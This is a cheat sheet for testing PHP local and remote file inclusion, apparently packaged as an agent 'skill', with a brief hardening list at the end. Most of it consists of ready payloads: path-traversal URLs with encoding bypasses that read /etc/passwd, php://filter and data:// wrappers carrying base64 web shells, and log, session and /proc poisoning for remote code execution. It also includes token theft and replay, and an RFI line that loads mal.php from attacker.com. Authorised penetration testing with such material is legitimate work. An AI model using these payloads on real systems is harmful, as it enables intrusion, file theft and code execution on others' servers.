File Inclusion Pentesting Skill

A comprehensive guide for testing Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities during security assessments.

Quick Start

# Basic LFI test
http://example.com/index.php?page=../../../etc/passwd

# RFI test (if allow_url_include is On)
http://example.com/index.php?page=http://attacker.com/mal.php

Vulnerable PHP Functions

These functions are commonly vulnerable to file inclusion attacks:

• require

• require_once

• include

• include_once

Common Vulnerable Parameters

Test these parameter names for file inclusion vulnerabilities:

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

Basic LFI Testing

Standard Path Traversal

# Linux
http://example.com/index.php?page=../../../etc/passwd

# Windows
http://example.com/index.php?page=../../../../../../windows/win.ini

Bypass Techniques

Non-recursive Traversal Stripping

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://example.com/index.php?page=%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null Byte Injection (PHP < 5.4)

http://example.com/index.php?page=../../../etc/passwd%00

URL Encoding Bypasses

# Double URL encoding
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd

# Alternative encoding
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd

# Mixed encoding
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Path Truncation (PHP < 5.3)

# Add extra characters to bypass .php append
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.

Filter Bypass Tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

PHP Wrappers and Protocols

php://filter

Read and modify file content before inclusion:

# Read /etc/passwd with transformations
http://example.com/index.php?page=php://filter/read=string.toupper/resource=file:///etc/passwd

# Chain multiple filters
http://example.com/index.php?page=php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd

# Base64 decode
http://example.com/index.php?page=php://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=

# Compress and encode
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd

Available filters:

• String:

  string.rot13

  ,

  string.toupper

  ,

  string.tolower

  ,

  string.strip_tags

• Conversion:

  convert.base64-encode

  ,

  convert.base64-decode

  ,

  convert.quoted-printable-encode

  ,

  convert.iconv.*

• Compression:

  zlib.deflate

  ,

  zlib.inflate

php://fd

Access open file descriptors:

http://example.com/index.php?page=php://fd/3
http://example.com/index.php?page=php://stdin
http://example.com/index.php?page=php://stdout
http://example.com/index.php?page=php://stderr

data://

Execute code without file storage:

# Plain text
http://example.com/index.php?page=data://text/plain,<?php system($_GET['cmd']); ?>

# Base64 encoded
http://example.com/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=

Note: Requires

allow_url_open

and

allow_url_include

to be On.

zip:// and rar://

Extract and include from archives:

# Create payload
zip payload.zip payload.php
mv payload.zip shell.jpg

# Include from archive
http://example.com/index.php?page=zip://shell.jpg%23payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

Other Protocols

# expect:// (requires expect extension)
http://example.com/index.php?page=expect://id

# input:// (POST data)
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

# phar:// (requires .phar file)
http://example.com/index.php?page=phar:///path/to/file.phar

LFI2RCE Techniques

Via Apache/Nginx Log Files

1. Inject PHP payload in User-Agent or GET parameter
2. Include the access log file

# Inject payload
GET /vuln?cmd=<?php system($_GET['c']); ?> HTTP/1.1
User-Agent: <?php system($_GET['c']); ?>

# Include log
http://example.com/index.php?page=../../../var/log/apache2/access.log

# Execute
http://example.com/index.php?page=../../../var/log/apache2/access.log&c=id

Common log paths:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Via PHP Sessions

1. Set session cookie with PHP payload
2. Include the session file

# Set malicious session
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27

# Login with payload
login=1&user=<?php system("cat /etc/passwd");?>&pass=password

# Include session file
http://example.com/index.php?page=../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27

Via /proc/self/environ

GET /vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via Email

# Send email with payload to user@localhost
# Include mail file
http://example.com/index.php?page=../../../var/mail/<USERNAME>
http://example.com/index.php?page=../../../var/spool/mail/<USERNAME>

Via Upload

# Upload file with embedded payload
http://example.com/index.php?page=path/to/uploaded/file.png

# Inject into image metadata for persistence

Via PHP Base64 Filter

Bypass file extension checks:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

Advanced Techniques

HTML-to-PDF SVG Path Traversal

For TCPDF/html2pdf vulnerabilities:

<!-- Inline SVG payload -->
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmc+PGltYWdlIHhsaW5rOmhyZWY9Ii4uLy4uLy4uLy4uLy4uL3RtcC91c2VyX2ZpbGVzL3VzZXJfMS9wcml2YXRlX2ltYWdlLnBuZyIgaGVpZ2h0PSIxMDAlIiB3aWR0aD0iMTAwJSIvPjwvc3ZnPg==" />

<!-- URL encoded bypass -->
<img src="%2f..%252f..%252ftmp%252fsecret.png">

Blind Path Traversal

Use PHP filters as oracle for error-based exfiltration:

# Use UCS-4LE encoding to trigger error on correct char
# Use dechunk filter to detect hex characters
# Use convert.iconv to shift characters

Vulnerable functions:

file_get_contents

,

readfile

,

finfo->file

,

getimagesize

,

md5_file

,

sha1_file

,

hash_file

,

file

,

parse_ini_file

,

copy

,

file_put_contents

,

stream_get_contents

,

fgets

,

fread

,

fgetc

,

fgetcsv

,

fpassthru

,

fputs

Token Harvesting from Logs

# Read access logs
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1

# Extract and replay tokens
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1

Fuzzing and Automation

wfuzz Command

# Basic LFI fuzzing
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

# With wordlists
wfuzz -c -w /path/to/wordlist.txt http://target.com/page.php?file=FUZZ

curl with Path Preservation

curl --path-as-is -b "session=$SESSION" \
  "http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
  --ignore-content-length -s | tr '\000' '\n'

Testing Checklist

• Test all file/path parameters with

  ../../../etc/passwd

• Try different encoding schemes (URL, double-URL, hex)
• Test PHP wrappers (php://filter, data://, zip://)
• Attempt log file inclusion for RCE
• Check for session file access
• Test /proc/self/environ
• Try null byte injection (older PHP)
• Test path truncation techniques
• Attempt blind LFI with error oracles
• Check for RFI if allow_url_include is On
• Test upload functionality for webshell placement

Hardening Recommendations

1. Validate and sanitize all file path inputs
2. Use allow-lists for permitted files/directories
3. Canonicalize paths before use
4. Disable allow_url_include and allow_url_open
5. Run with least privilege
6. Separate upload directories from web root
7. Use chroot or containers to limit filesystem access
8. Keep PHP updated (many fixes in 5.3+ and 5.4+)

References

• PayloadsAllTheThings - File Inclusion
• PHP Stream Wrappers
• PHP Filters
• Synacktiv - PHP Filter Chains
• Matan H - LFI Bypass with Base64